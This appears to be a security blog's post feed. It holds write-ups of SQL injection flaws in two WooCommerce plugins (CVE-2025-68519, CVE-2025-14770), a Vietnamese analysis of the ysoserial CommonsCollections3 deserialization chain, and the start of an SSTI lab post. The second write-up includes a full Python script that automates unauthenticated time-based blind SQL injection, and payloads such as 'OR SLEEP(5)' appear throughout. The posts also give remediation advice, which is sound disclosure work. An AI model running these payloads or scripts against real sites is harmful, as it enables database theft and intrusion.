vulnerability.(Ref:https://developer.wordpress.org/reference/functions/sanitize_title_for_query)\nRoot Cause Analysis: From Source to Sink After executing the function, the breakpoint at $brands_include = explode(',', $atts['brands_include']); is triggered. As seen in the screenshot, the $atts['brands_include'] variable successfully captures our SQLi payload.\nUsing step over, now code will run into foreach loop, i will skip this loop.\nI proceeded to step over the foreach loop. Inside the loop, the code enters the sanitization block: $brands_include_checked[] = trim($brand_include).\nVulnerability Point: The developer uses the trim() function, which only removes whitespace from the beginning and end of the string. Crucially, it does not escape or remove single quotes (\u0026rsquo;) or other special SQL characters, allowing the payload to pass through unchanged.\u0026quot;\nImmediately after the ineffective sanitization, we reach the sink, the line where the SQL query is constructed. At this specific breakpoint, the malicious payload has not yet been appended to the $query variable.\nNow i will step more one step to make sure that the payload will be injected into query.\nStepping over one more line (implode\u0026hellip;), we confirm that the payload is concatenated directly into the SQL statement. The final query inspection reveals:\n\u0026#34;WHERE tt.taxonomy=\u0026#39;berocket_brand\u0026#39; AND t.term_id IN (19,20,21,17,18) AND tt.count \u0026lt;\u0026gt; \u0026#39;\u0026#39; AND t.name IN (\u0026#39;1\u0026#39;) OR SLEEP(5) --\u0026#39;)\u0026#34; Note: For debugging purposes, I used SLEEP(5) to clearly verify the injection point in the IDE, whereas SLEEP(0.1) was used in the actual POC to avoid timeouts.\nProof Of Concept Using add page of wp-admin to create shortcode page, now i will inject payload into shortcode and publish it. Why use a time-based payload of just 0.1 seconds? The injection occurs within an OR condition, causing the database to execute SLEEP(0.1) for every single row scanned. With hundreds of terms in the database, these small delays accumulate into a measurable response time (several seconds) without triggering a server timeout.\nThe request took approximately 3.7s using the SLEEP(0.1) payload. To verify the consistency of the injection, I increased the delay to 0.3s\nIn the second request with SLEEP(0.3), the server response time increased to approximately 8s. This proportional increase confirms that the Time-Based SQL Injection is valid.\nRemediation \u0026amp; Mitigation 1. For End Users (Administrators) To address this vulnerability, users are strongly advised to update the Brands for WooCommerce plugin to the latest patched version immediately.\nFixed Version: 3.8.6.4 or higher. Action: Go to the WordPress Dashboard \u0026gt; Plugins, check for updates, and install the latest version of \u0026ldquo;Brands for WooCommerce\u0026rdquo;.\nTemporary Mitigation: If an immediate update is not possible, consider disabling the vulnerable shortcode usage or employing a Web Application Firewall (WAF) configured to block SQL injection attempts containing standard time-based payloads (e.g., SLEEP(), BENCHMARK()).\n2. For Developers (Secure Coding Practices) The root cause of this vulnerability was the reliance on trim(), which is insufficient for sanitizing SQL input as it does not remove special characters like single quotes (\u0026rsquo;).\nRecommended Fix:\nUse Context-Specific Sanitization: As seen in the official patch, the vendor replaced trim() with sanitize_title_for_query(). This WordPress function ensures that the input is safe for use in query contexts by stripping out unsafe characters. // Vulnerable Code $brand_include = trim($brand_include); // Secure Code (Vendor Patch) $brand_include = sanitize_title_for_query($brand_include); Use** Prepared Statements** (Best Practice): The most robust defense against SQL Injection in WordPress is using the $wpdb-\u0026gt;prepare() method. This ensures that the database treats user input as data, not as executable code. global $wpdb; // Ensure array contains only integers or safe strings $safe_ids = array_map(\u0026#39;intval\u0026#39;, $input_ids); $placeholders = implode(\u0026#39;,\u0026#39;, array_fill(0, count($safe_ids), \u0026#39;%d\u0026#39;)); // Prepare the query safely $query = $wpdb-\u0026gt;prepare( \u0026#34;SELECT * FROM {$wpdb-\u0026gt;prefix}terms WHERE term_id IN ($placeholders)\u0026#34;, $safe_ids ); ","permalink":"https://blog.pzhat.id.vn/posts/2026-02-01-cve-2025-68519/","summary":"\u003ch1 id=\"cve-2025-68519-wordpress-brands-for-woocommerce-plugin--3863-is-vulnerable-to-sql-injection\"\u003eCVE-2025-68519 WordPress Brands for WooCommerce Plugin \u0026lt;= 3.8.6.3 is vulnerable to SQL Injection\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/ByI6-ltIbg.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"wordpress-brands-for-woocommerce-plugin\"\u003eWordPress Brands for WooCommerce Plugin\u003c/h1\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2025-12-24\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCVE ID:\u003c/strong\u003e CVE-2025-68519\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e WordPress Brands for WooCommerce\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Versions:\u003c/strong\u003e \u0026lt;= 3.8.6.3\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e SQL Injection vulnerability\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eImproper Neutralization of Special Elements\u003c/strong\u003e used in an \u003cstrong\u003eSQL Command\u003c/strong\u003e (\u0026lsquo;SQL Injection\u0026rsquo;) vulnerability in \u003cstrong\u003eBeRocket Brands\u003c/strong\u003e for WooCommerce brands-for-woocommerce allows \u003cstrong\u003eBlind SQL Injection\u003c/strong\u003e.This issue affects Brands for WooCommerce: from n/a through \u003cstrong\u003e\u0026lt;= 3.8.6.3\u003c/strong\u003e.\u003c/p\u003e","title":"CVE-2025-68519 WordPress Brands for WooCommerce Plugin"},{"content":"\nWordPress Shipping Rate By Cities Plugin Overview CVE ID: CVE-2025-14770 Affected Plugin: Shipping Rate By Cities Affected Versions: ≤ 2.0.0 Vulnerability Type: Unauthenticated SQL Injection Attack Vector: Network Authentication Required: No Description The Shipping Rate By Cities WordPress plugin contains an unauthenticated SQL Injection vulnerability in versions up to 2.0.0. The issue originates from unsafe handling of the city parameter, which is concatenated directly into an SQL query without proper preparation.\nBecause the vulnerable code is reachable during the WooCommerce checkout flow, an attacker does not need authentication to exploit it.\nSuccessful exploitation allows an attacker to manipulate SQL queries, potentially leading to:\nSensitive data disclosure Database enumeration Service degradation via time-based payloads Patch \u0026amp; Commit Analysis Based on the image provided, here is the technical analysis of the patch for CVE-2025-14770 in the \u0026ldquo;Shipping Rate by Cities\u0026rdquo; WordPress plugin.\nThe Vulnerability: SQL Injection (SQLi)\nLooking at the right side (the old version), the code for the getCityFee function was:\npublic function getCityFee($city_name){ global $wpdb; $table = $wpdb-\u0026gt;prefix . \u0026#34;shiprate_cities\u0026#34;; return $wpdb-\u0026gt;get_row(\u0026#34;SELECT rate FROM $table where city_name = \u0026#39;$city_name\u0026#39;\u0026#34;, ARRAY_A); } The Problem: The variable $city_name was directly concatenated into the SQL query string. The Risk: Since $city_name likely comes from a user-controlled source (like a checkout form), an attacker could input something like \u0026rsquo; OR 1=1 \u0026ndash; to manipulate the query, bypass logic, or extract sensitive data from the database. The Patch: Secure Coding Practices The left side (the new version) introduces several layers of defense to mitigate this vulnerability\nInput Sanitization The patch adds:\n$city_name = sanitize_text_field($city_name); This is the first line of defense. It strips out HTML tags and characters that shouldn\u0026rsquo;t be in a simple text field, reducing the attack surface. Prepared Statements (The Core Fix) The most critical change is the shift to the $wpdb-\u0026gt;prepare() method:\n$result = $wpdb-\u0026gt;get_row( $wpdb-\u0026gt;prepare( \u0026#34;SELECT rate FROM {$wpdb-\u0026gt;prefix}shiprate_cities WHERE city_name = %s\u0026#34;, $city_name ), ARRAY_A ); How it works: Instead of building a string, it uses a placeholder (%s). WordPress then handles the data binding, ensuring that the value of $city_name is treated strictly as data, not as part of the SQL command. This effectively kills the SQL Injection vector. Implementation of Object Caching The patch also introduces the WordPress Cache API:\n$cached = wp_cache_get($cache_key, $cache_group); if (false !== $cached) { return $cached; } ... wp_cache_set($cache_key, $result, $cache_group); While primarily introduced for performance optimization, object caching may reduce repeated identical queries, but it should not be considered a security mitigation against SQL Injection or DoS attacks, as attackers can still bypass cache by varying input values. Attack Flow I have categorized the data flow into two main processes:\nAdmin Process: How data is stored in the database (Configuration). User/Checkout Process: How data is retrieved and used (The Vulnerable Path). SINK -\u0026gt; SOURCE (Backtrace) I present this part in the report to explain \u0026ldquo;The path of malicious data\nFile: shiprate-cities-method-class.php Class/Method: ShipRate_FlatShipRateCity_Method::getCityFee($city_name) Caller (Function to call and transmit data)\nAfter the breakpoint was hit it will call ShipRate_FlatShipRateCity_Method::calculate_shipping($package) method.\npublic function calculate_shipping( $package = array() ) { $weight = 0; $cost = 0; $address = $package[\u0026#34;destination\u0026#34;]; // country, state, postcode, city, address, address_1, address_2 $cost = $this-\u0026gt;getCityFee($address[\u0026#39;city\u0026#39;]); The variable $package is an array containing cart information and shipping address. This variable has not been strictly controlled at this step.\nTrigger (WordPress/WooCommerce Hook Mechanism)\nMechanism: The plugin registers this method into the WooCommerce system through the hooks woocommerce_shipping_init and woocommerce_shipping_methods (in the main plugin file). Flow: When WooCommerce needs to recalculate the total amount (when the user changes address, adds items\u0026hellip;), it will loop through all activated Shipping Methods and call the calculate_shipping($package) function of each one. SOURCE (Input Point \u0026amp; Entry Point)\nUnlike standard WordPress Form submissions ($_POST), JSON data sent via REST API is not subjected to WordPress\u0026rsquo;s default wp_magic_quotes() mechanism. This allows raw single quotes (\u0026rsquo;) to reach the vulnerable function without being escaped as ', making the SQL Injection possible.\nEntry Point: Hacker sends Request to REST API /wp-json/wc/store/v1/cart/update-customer. Controller: Automattic\\WooCommerce\\StoreApi\\Routes\\V1\\CartUpdateCustomer::get_response (This is the core code of WooCommerce). POC And Debug When a user updates their shipping information on a WooCommerce site, the browser sends a REST API request to all action.\nEndpoint:/wp-json/wc/store/v1/cart\nAfter proceed checkout, we can see that it calls a REST API to check the cart and check for every value like address or state in personal customer details.\nWhen i change shipping address value and change shipping method, i got an API called /wp-json/wc/store/v1/batch?_locale=site, as we saw at the image above, it will request to another API called /wc/store/v1/cart/update-customer and this this the place that called entry point because its function was to changed the customer details. Besides, the vulnerable value is city.\nWhy send an update-customer request?\nBecause the getCityFee error function uses City as input. The update-customer API is the standard endpoint to change City to enable Shipping Calculation. Once the API receives this data, the following \u0026ldquo;domino effect\u0026rdquo; occurs inside WordPress:\nData Processing: WooCommerce receives the JSON and updates the session/cart object with the new address. Shipping Recalculation: WooCommerce triggers a recalculation of shipping costs to reflect the new address. It looks for active shipping methods. The Hook: The \u0026ldquo;Shipping Rate by Cities\u0026rdquo; plugin is activated. It retrieves the city name from the cart to look up the specific rate in its database table. The Vulnerable Call: The plugin passes the raw, unsanitized string from the API directly into the function we saw in the diff: $this-\u0026gt;getCityFee($city_name); Using that logic vulnerable at city variable, now i can inject SQL query to trigger vulnerability.\nThe response time is roughly 4x the sleep value. This behavior is consistent with WooCommerce’s cart recalculation lifecycle, where shipping methods may be evaluated multiple times per request (e.g., for billing and shipping contexts), resulting in repeated execution of the vulnerable query.\nTo further validate this behavior, the sleep duration was modified to observe the corresponding change in response time.\nAfter change payload\u0026rsquo;s sleep time to 5 and sent the request, look at the response show that the time response was decrease about half and it took just 21s. That prove that POC success. Now create a python script to make exploit process be automated.\nClick see script in details\rimport requests import time import string import sys # ============================================================================== # CONFIGURATION # ============================================================================== # URL of the WordPress site (e.g., http://localhost or https://target.com) TARGET_URL = \u0026#34;http://localhost\u0026#34; # ID of a REAL product on the target site (Required to initialize the cart) # Go to WP Admin -\u0026gt; Products -\u0026gt; Hover over a product to see the ID. PRODUCT_ID = 71 # Time in seconds to sleep if the guess is correct (Latency check) SLEEP_TIME = 3 # API Endpoints API_ADD_ITEM = f\u0026#34;{TARGET_URL}/wp-json/wc/store/v1/cart/add-item\u0026#34; API_UPDATE_CUSTOMER = f\u0026#34;{TARGET_URL}/wp-json/wc/store/v1/cart/update-customer\u0026#34; # Initialize Session s = requests.Session() def setup_session(): \u0026#34;\u0026#34;\u0026#34; Step 1: Initialize WooCommerce Session We must add an item to the cart to generate valid \u0026#39;Nonce\u0026#39; and \u0026#39;Cart-Token\u0026#39; headers. \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;[*] Initializing session and adding product to cart...\u0026#34;) try: # First request to trigger session creation and get headers # Even if this fails (400/401), it usually returns the Nonce in headers r = s.post(API_ADD_ITEM, json={\u0026#34;id\u0026#34;: PRODUCT_ID, \u0026#34;quantity\u0026#34;: 1}) nonce = r.headers.get(\u0026#39;Nonce\u0026#39;) cart_token = r.headers.get(\u0026#39;Cart-Token\u0026#39;) if not nonce or not cart_token: print(\u0026#34;[-] Failed to retrieve Nonce or Cart-Token.\u0026#34;) print(\u0026#34;[-] Hint: Check if the PRODUCT_ID exists and is publish.\u0026#34;) sys.exit(1) print(f\u0026#34;[+] Nonce captured: {nonce}\u0026#34;) print(f\u0026#34;[+] Cart-Token captured: {cart_token[:20]}...\u0026#34;) # Update session headers for subsequent requests s.headers.update({ \u0026#34;Nonce\u0026#34;: nonce, \u0026#34;Cart-Token\u0026#34;: cart_token, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34; }) # Second request: Actually add the item to ensure the cart is not empty # (Shipping calculation only triggers if cart \u0026gt; 0) r = s.post(API_ADD_ITEM, json={\u0026#34;id\u0026#34;: PRODUCT_ID, \u0026#34;quantity\u0026#34;: 1}) if \u0026#34;items_count\u0026#34; in r.text and r.json().get(\u0026#39;items_count\u0026#39;, 0) \u0026gt; 0: print(\u0026#34;[+] Product added successfully. Cart is ready.\u0026#34;) return True else: print(f\u0026#34;[-] Failed to add product. Response: {r.text}\u0026#34;) return False except Exception as e: print(f\u0026#34;[-] Connection Error: {e}\u0026#34;) sys.exit(1) def inject_payload(sql_condition): \u0026#34;\u0026#34;\u0026#34; Sends the malicious payload to the shipping_address city field. Returns the elapsed time of the request. \u0026#34;\u0026#34;\u0026#34; # The vulnerability allows injecting into the \u0026#39;city\u0026#39; field. # Logic: If the condition is TRUE, the DB sleeps. # Payload format: Hanoi\u0026#39; OR IF(\u0026lt;CONDITION\u0026gt;, SLEEP(T), 0) -- payload = f\u0026#34;Hanoi\u0026#39; OR IF({sql_condition}, SLEEP({SLEEP_TIME}), 0) -- \u0026#34; data = { \u0026#34;billing_address\u0026#34;: { \u0026#34;city\u0026#34;: \u0026#34;Hanoi\u0026#34; }, \u0026#34;shipping_address\u0026#34;: { \u0026#34;city\u0026#34;: payload } } start_time = time.time() try: # We don\u0026#39;t care about the response content, only the time it took s.post(API_UPDATE_CUSTOMER, json=data) elapsed_time = time.time() - start_time return elapsed_time except Exception as e: print(f\u0026#34;[!] Request Error: {e}\u0026#34;) return 0 def extract_data(): \u0026#34;\u0026#34;\u0026#34; Performs the Time-Based Blind SQL Injection to extract the Database Version. \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;\\n[*] Starting Blind SQL Injection Attack...\u0026#34;) print(\u0026#34;[*] Target: @@version\u0026#34;) extracted_value = \u0026#34;\u0026#34; # Iterate through character positions (Assuming length \u0026lt; 20 for demo) for position in range(1, 25): found_char = False # Iterate through printable characters for char in string.printable: # Skip characters that might break JSON or SQL string escaping for simplicity if char in [\u0026#39;\u0026#34;\u0026#39;, \u0026#39;\\\\\u0026#39;, \u0026#34;\u0026#39;\u0026#34;]: continue # Construct SQL: Check if character at current position matches our guess # Using ASCII() avoids issues with quotes inside the SQL string sql_condition = f\u0026#34;ASCII(SUBSTRING(@@version,{position},1))={ord(char)}\u0026#34; # Send request and measure time sys.stdout.write(f\u0026#34;\\r[\u0026gt;] Testing pos {position}: {char} | Found: {extracted_value}\u0026#34;) sys.stdout.flush() duration = inject_payload(sql_condition) # If response time \u0026gt;= SLEEP_TIME, we found the character if duration \u0026gt;= SLEEP_TIME: extracted_value += char found_char = True break # Move to next position if not found_char: print(\u0026#34;\\n[*] End of string or character not found.\u0026#34;) break return extracted_value if __name__ == \u0026#34;__main__\u0026#34;: print(\u0026#34;==================================================\u0026#34;) print(\u0026#34; CVE-2025-14770 Exploit (Time-Based SQLi) \u0026#34;) print(\u0026#34; Target: WooCommerce Shipping Rate By Cities \u0026#34;) print(\u0026#34;==================================================\u0026#34;) if setup_session(): result = extract_data() print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34;*50) print(f\u0026#34;[SUCCESS] Database Version: {result}\u0026#34;) print(\u0026#34;=\u0026#34;*50) Successful dump the database version.\nRemediation \u0026amp; Recommendations For Site Administrators\nImmediate Update: If you are using the \u0026ldquo;Shipping Rate by Cities\u0026rdquo; plugin, ensure you have updated to version 2.0.1 or higher. This version includes the critical security patches analyzed in this report. Deploy a Web Application Firewall (WAF): Use a WAF (such as Cloudflare, Wordfence, or Sucuri) to detect and block common SQL injection patterns (e.g., SLEEP(), UNION SELECT), while acknowledging that WAFs should not be relied upon as the sole defense. Audit Database Permissions: Ensure the database user for WordPress has the least privilege necessary. This limits the potential damage if an SQL injection vulnerability is exploited. For Developers\nNever Trust User Input: Always treat data coming from APIs or forms as untrusted. Use built-in WordPress sanitization functions like sanitize_text_field() or absint() as a first layer of defense. Mandatory use of $wpdb-\u0026gt;prepare(): Never concatenate variables directly into SQL queries. The $wpdb-\u0026gt;prepare() method is the industry standard for preventing SQLi in WordPress by ensuring that data is safely escaped and handled as a literal value. Implement Rate Limiting: Since this vulnerability is unauthenticated, implement rate limiting on sensitive endpoints like /wp-json/wc/store/v1/cart/update-customer to prevent automated scanning and brute-forcing. ","permalink":"https://blog.pzhat.id.vn/posts/2026-01-27-cve-2025-14770/","summary":"\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/r1isJ3HLZl.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"wordpress-shipping-rate-by-cities-plugin\"\u003eWordPress Shipping Rate By Cities Plugin\u003c/h1\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eCVE ID:\u003c/strong\u003e CVE-2025-14770\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e Shipping Rate By Cities\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Versions:\u003c/strong\u003e ≤ 2.0.0\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e Unauthenticated SQL Injection\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttack Vector:\u003c/strong\u003e Network\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuthentication Required:\u003c/strong\u003e No\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eThe \u003cstrong\u003eShipping Rate By Cities\u003c/strong\u003e WordPress plugin contains an \u003cstrong\u003eunauthenticated SQL Injection\u003c/strong\u003e vulnerability in versions up to \u003cstrong\u003e2.0.0\u003c/strong\u003e.\nThe issue originates from unsafe handling of the \u003ccode\u003ecity\u003c/code\u003e parameter, which is concatenated directly into an SQL query without proper preparation.\u003c/p\u003e","title":"CVE-2025-14770 – Unauthenticated SQL Injection via “city” Parameter"},{"content":"Ysoserial Common Collections 3 Analyst (CC3) Tổng quan CC3 (CommonsCollections3) trong ysoserial là một gadget chain dựa trên thư viện Apache Commons Collections để kích hoạt hành vi nguy hiểm thông qua Java deserialization. Nó dựa vào cách một số lớp trong thư viện có thể được “xâu chuỗi” (chain) để thực thi logic ngoài ý muốn khi một đối tượng được deserialization.\nSetUp Debug trong IntelliJ Lúc tiến hành setup để có thể debug, phải chú ý rằng CC1 và CC3 đã không còn chạy được sau Java version 8u71, vì sau phiên bản java đó sun.reflect.annotation.AnnotationInvocationHandler đã thay đổi và không còn khả dụng. Vì vậy setup đẹp nhất là sử tải JDK 1.7 kèm theo đó là sử dụng Ysoserial Commons Collections version 3.1.\nCác hàm cần có InstantiateTransformer Constructor private InstantiateTransformer() { super(); iParamTypes = null; iArgs = null; } public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; } Các hàm Transform public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( \u0026#34;InstantiateTransformer: Input object was not an instanceof Class, it was a \u0026#34; + (input == null ? \u0026#34;null object\u0026#34; : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException(\u0026#34;InstantiateTransformer: The constructor must exist and be public \u0026#34;); } catch (InstantiationException ex) { throw new FunctorException(\u0026#34;InstantiateTransformer: InstantiationException\u0026#34;, ex); } catch (IllegalAccessException ex) { throw new FunctorException(\u0026#34;InstantiateTransformer: Constructor must be public\u0026#34;, ex); } catch (InvocationTargetException ex) { throw new FunctorException(\u0026#34;InstantiateTransformer: Constructor threw an exception\u0026#34;, ex); } } Tại hàm này, tiến hành khởi tạo một đối tượng thông qua Java Reflection.\nTrAXFilter Constructor public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); } Ở đoạn code này ta có đoạn :\n_transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); Ở đoạn code đó, nó tiến hành gọi hàm newTransformer() đây chính là nơi trigger lên payload. Khi TrAXFilter gọi templates.newTransformer(), luồng xử lý sẽ đi vào bên trong TemplatesImpl như sau:\npublic synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; } Hàm này không có xử lý hay làm cái gì nhiều, chỉ cần để ý rằng nó gọi đến hàm getTransletInstance() ta đi đến hàm đó :\nprivate Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } Đây là một hàm quan trọng, nhiệm vụ của nó là biến mảng byte (_bytecodes) thành một Class và khởi tạo nó. Sau đó là tới nhiệm vụ của hàm defineTransletClasses().\nprivate void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount \u0026gt; 1) { _auxClasses = new Hashtable(); } for (int i = 0; i \u0026lt; classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex \u0026lt; 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } Hàm này có vai trò chịu trách nhiệm chuyển đổi mảng byte[] thành Class\u0026lt;?\u0026gt; trong JVM.\nGadget Chain Trigger Flow (Debug-based) Mặc dù InstantiateTransformer chứa logic khởi tạo TrAXFilter, nhưng bản thân nó không được gọi trực tiếp. Trong CC3, phương thức transform() được kích hoạt gián tiếp thông qua cơ chế Map khi đối tượng được deserialization.\nCấu trúc của Chain sẽ là như sau :\nreadObject() └─ AnnotationInvocationHandler └─ invoke() └─ LazyMap.get() └─ ChainedTransformer.transform() ├─ ConstantTransformer → TrAXFilter.class └─ InstantiateTransformer → new TrAXFilter() └─ TemplatesImpl.newTransformer() └─ defineTransletClasses() └─ payload \u0026lt;clinit\u0026gt; → RCE Bây giờ mình sẽ tiến hành debug.\nBREAKPOINT 1 – ENTRY POINT DESERIALIZATION Tiến hành đặt breakpoint tại đoạn readObject(ObjectInputStream var1) sau đó trigger payload.\nSau khi chạy lên, biến var(1) được gán giá trị là ObjectInputStream@923, vẫn chưa có gì mới nhưng ta sẽ để ý vào giá trị memberValues sau đó tiếp tục chạy.\nSau khi chạy tiếp bước nữa đến dòng thứ 2, sau khi thực hiện readObject và gán giá trị cho var 1 thì bây giờ biến memberValues đã gọi đến LazyMap, cùng với đó là tại biến type nó đã gọi đến java.lang.Override hay Override.class, 2 điều trên chứng mình rằng gadget đầu tiên đã tiến hành deserialize và gọi tới LazyMap(payload), đây chính là nơi khởi đầu.\nBREAKPOINT 2 – PROXY TRIGGER Tại breakpoint thứ 2, ta thấy quá trình deserialization đã kích hoạt lời gọi tới một đối tượng Proxy. Nguyên nhân là trong readObject() (breakpoint 1), phương thức memberValues.entrySet() được gọi. Tuy nhiên, memberValues không phải là một Map thông thường mà là một LazyMap được wrap bởi java.lang.reflect.Proxy. Do đó, khi một method của Map (ví dụ entrySet() hoặc các method liên quan) được gọi trên đối tượng này, JVM sẽ chuyển hướng lời gọi đó tới phương thức invoke() của InvocationHandler, cụ thể là AnnotationInvocationHandler.invoke().\nBREAKPOINT 3 – memberValues.get() Tại breakpoint thứ 3, giá trị var4 được xác định là \u0026ldquo;annotationType\u0026rdquo; và được sử dụng làm key trong lời gọi memberValues.get(var4). Tuy nhiên, memberValues không phải là một Map thông thường mà là một LazyMap. Do đó, khi phương thức get() được gọi với key chưa tồn tại, LazyMap sẽ kích hoạt factory.transform(key). Trong CC3, factory chính là InstantiateTransformer, từ đó dẫn đến việc khởi tạo TrAXFilter. Quá trình này tiếp tục gọi TemplatesImpl.newTransformer(), nơi bytecode độc hại được load và thực thi, dẫn tới Remote Code Execution. Proxy trong chain chỉ đóng vai trò kích hoạt InvocationHandler.invoke(), còn RCE thực sự xảy ra tại thời điểm LazyMap.get() gọi transform().\nBREAKPOINT 4 – CHAINED TRANSFORMER EXECUTION Tại breakpoint 4, luồng thực thi đi vào ChainedTransformer.transform(). Đây là điểm trung tâm của CC3, nơi các transformer được thực thi tuần tự. ConstantTransformer trả về TrAXFilter.class, sau đó InstantiateTransformer sử dụng reflection để khởi tạo đối tượng TrAXFilter với tham số TemplatesImpl. Trong quá trình khởi tạo, constructor của TrAXFilter gọi TemplatesImpl.newTransformer(), dẫn đến việc load và thực thi bytecode độc hại, từ đó gây ra Remote Code Execution.\nTừ đây, luồng xử lý không còn thuộc Commons-Collections nữa, mà chuyển sang:\nTemplatesImpl.newTransformer() └─ getTransletInstance() └─ defineTransletClasses() └─ defineClass(bytecode) └─ \u0026lt;clinit\u0026gt; → Runtime.exec() BREAKPOINT 5 – Runtime.exec() Sau khi TemplatesImpl load class độc hại thông qua defineClass(byte[]), JVM tự động thực thi static initializer \u0026lt;clinit\u0026gt; của class này. Payload của ysoserial được nhúng trong \u0026lt;clinit\u0026gt;, dẫn tới lời gọi Runtime.getRuntime().exec(). Tại thời điểm này, mã lệnh hệ điều hành (calc.exe) được thực thi, chứng minh Remote Code Execution thành công.\n","permalink":"https://blog.pzhat.id.vn/posts/2026-01-21-ysoserial-cc3-analyst/","summary":"\u003ch1 id=\"ysoserial-common-collections-3-analyst-cc3\"\u003eYsoserial Common Collections 3 Analyst (CC3)\u003c/h1\u003e\n\u003ch3 id=\"tổng-quan\"\u003eTổng quan\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eCC3 (CommonsCollections3)\u003c/code\u003e trong ysoserial là một \u003ccode\u003egadget chain\u003c/code\u003e dựa trên thư viện \u003ccode\u003eApache Commons Collections\u003c/code\u003e để kích hoạt hành vi nguy hiểm thông qua \u003ccode\u003eJava deserialization\u003c/code\u003e. Nó dựa vào cách một số lớp trong thư viện có thể được “xâu chuỗi” (chain) để thực thi \u003ccode\u003elogic\u003c/code\u003e ngoài ý muốn khi một đối tượng được \u003ccode\u003edeserialization\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"setup-debug-trong-intellij\"\u003eSetUp Debug trong IntelliJ\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/By9T0v3rWx.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/BJtJ1O2B-l.png\"\u003e\u003c/p\u003e\n\u003cp\u003eLúc tiến hành setup để có thể debug, phải chú ý rằng CC1 và CC3 đã không còn chạy được sau Java version 8u71, vì sau phiên bản java đó \u003ccode\u003esun.reflect.annotation.AnnotationInvocationHandler\u003c/code\u003e đã thay đổi và không còn khả dụng. Vì vậy setup đẹp nhất là sử tải \u003ccode\u003eJDK 1.7\u003c/code\u003e kèm theo đó là sử dụng \u003ccode\u003eYsoserial Commons Collections version 3.1\u003c/code\u003e.\u003c/p\u003e","title":"Ysoserial Common Collections 3 Analyst (CC3)"},{"content":"Velocity Server Side Template Injection Challenge Tổng quan về lab Velocity SSTI Đây là một lab mình thiết kế ra để demo và học về SSTI. Bên trong lab được chia ra làm 4 level với các lớp filter khác nhau. Nhiệm vụ của mình là bypass được các lớp bảo mật đó nhằm mục đích cuối cùng là RCE. Bây giờ mình sẽ đi vào phân tích chức năng của web app.\nPhân tích 